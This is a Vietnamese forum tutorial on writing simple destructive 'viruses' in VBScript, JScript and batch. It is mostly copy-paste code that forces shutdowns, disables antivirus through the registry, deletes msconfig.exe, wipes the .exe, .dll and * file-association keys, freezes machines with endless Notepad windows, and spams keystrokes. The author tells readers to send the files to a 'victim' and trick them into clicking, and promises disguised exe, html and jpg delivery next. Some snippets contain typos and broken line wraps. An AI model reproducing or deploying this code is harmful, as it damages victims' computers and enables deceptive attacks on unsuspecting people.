hướng dẫn làm virus - virut phá hoại đơn giản + code vbs

Hướng dẫn làm virus - virut phá hoại đơn giản + Code VBs Hướng dẫn làm virus - virut phá hoại đơn giản + Code VBs Tự làm ấy 1 con VR rất đơn giản ,hôm nay slm sẽ hướng dẫn các bạn.. * mở

Hướng dẫn làm virus - virut phá hoại đơn giản + Code VBs

Hướng dẫn làm virus - virut phá hoại đơn giản + Code VBs

Tự làm ấy 1 con VR rất đơn giản ,hôm nay slm sẽ hướng dẫn các bạn.

Đầu tiên các bạn mở notepad và chọn một trong những đoạn mã sau, các bạn copy đoạn mã vào notepad và lưu dưới đuôi VBS ví dụ: slm.vbs chảng hạn

* mở ra một thông điệp vui sau đó sẽ tắt máy tính

CODE

Code:

@echo off

msg * em la slm ,bb anh!

shutdown -c "virus slm" -s -t 10

Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBSCRIPT hoặc Javascript rồi:

Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

1.Không cho victim khởi động máy:

Code:

Code:

Dim wsh

Set wsh = createobject("wscript.shell")

wsh.run "RUNDLL32.EXE user.exe,exitwindows"

2 Disable NAV:

Code:

Code:

Dim wsh

Set wsh= CreateObject( "WScript.Shell")

s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic

es\Norton Program

Scheduler\Start"

wsh.RegWrite s1,3, "REG_DWORD"

3 Hiển thị một message mỗi khi reboot máy:

Code:

Code:

dim wsh

Set wsh = CreateObject( "WScript.Shell" )

s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win

Logon\"

s2 = "LegalNoticeCaption"

s3 = "LegalNoticeText"

wsh.RegWrite s1+s2, "http://allformy.topcities.com"

wsh.RegWrite s1+s3, "Hi ! Toi la SLM- Toi den tu truongton.net"

4 Hiển thị một dòng lệnh khi click vào file hay folder:,

Code:

Code:

set reg=createobject("WScript.shell")

reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net"

reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"

5 Làm cho các trò trên hoạt động bình thường:

Code:

Code:

Dim objShell

Set objShell = CreateObject( "WScript.Shell" )

s1 = "HKEY_USERS\ Default\Software\Microsoft\Windows\CurrentVersion\

"

s2 = "Policies\System\DisableRegistryTools"

objShell.RegWrite s1+s2,1, "REG_DWORD"

Dưới dạng Javascipt :

Code:

Code:

var wsh;

wsh=new ActiveXObject ("Wscript.shell");

// Winlogon when reboot

var s1 = " HKLM\\Software\\Microsoft\\Windows\\CurrentVersion

\\WinLogon\\";

var s2 = "LegalNoticeCaption";

var s3 = "LegalNoticeText";

wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;

wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love Toi den tu Chip&Kitty.com") ;

//Disable Registry

var s1 = "HKEY_USERS\\ Default\\Software\\Microsoft\\Windows\\CurrentVers ion\\";

var s2 = "Policies\\System\\DisableRegistryTools" ;

wsh.RegWrite (s1+s2,0,"REG_DWORD");

//Delete file Msconfig.exe

Code:

Code:

var fso;

fso=new ActiveXObject("Scripting.FileSystemObject");

var fe=fso.getfile("C:\\windows\\msconfig.exe);

fe.delete true;

//Shutdown windows

//Disable Mouse

wsh.run ("RUNDLL32.EXE mouse,disable");

//Hang up windows

wsh.run ("rundll32 user,disableoemlayer");

Xóa khóa Registry Files

* xóa các tập tin registry key, sau đó lặp lại một tin nhắn

CODE

Code:

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

:MESSAGE

ECHO slm chuc anh 1 ngay vui ve.

GOTO MESSAGE

-Endless Notepads

* Điều này sẽ bật lên Notepads bất tận cho đến khi máy tính bị đóng băng và các vụ đụng *

Code:

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

-Crazy caps lock

* không ngừng quay caps lock và tắt nhanh chóng liên tục *

CODE

Code:

Set wshShell =wscript.CreateObject("WScript.Shell") do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

loop

Endless ENter

* Ép enter liên tục

CODE

Code:

Set wshShell = wscript.CreateObject("WScript.Shell") do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Endless Backspace

* làm cho phím backspace liên tục bị ép *

CODE

Code:

MsgBox "Let's go back a few steps"

Set wshShell =wscript.CreateObject("WScript.Shell") do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

* làm cho ổ đĩa CD liên tục vọt ra *

CODE

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 100

loop

Tất cả các code trên lưu với đuôi VBS

Còn những cái này lưu dưới dạng slm.bat(đuôi bat)

Lặp lại n lần chu kỳ mess

Code:

@ECHO off

:Begin

msg * Hi

msg * khoe ko anh ?

msg * em slm ne

msg * buon ngu chua?

msg * tat may ngu thoi ,bb anh

GOTO BEGIN

Auto shutdown

Code:

@echo off

msg * slm yeu anh

shutdown -c “Error! tạm biet anh!” -s

Ai ko làm đc thì dôwnlad file đính kèm ở dưới (chỉ nên thử với vài con ko nguy hiểm như tắt máy hay hiện thông điệp).Tạm thời vậy đã,1 số con sẽ bị chương trình dệt VR phát hiện ,1 số con thì ko,gửi cho victim rồi lừa nó kick vào Ở phần tiếp

slm sẽ hướng dẫn các bạn làm dưới dạng exe và html up lên web ,đối phương chỉ việc kick vào link là sẽ dính,và ép VR dưới dạng file ảnh jpg để đánh lừa đối phương

slm update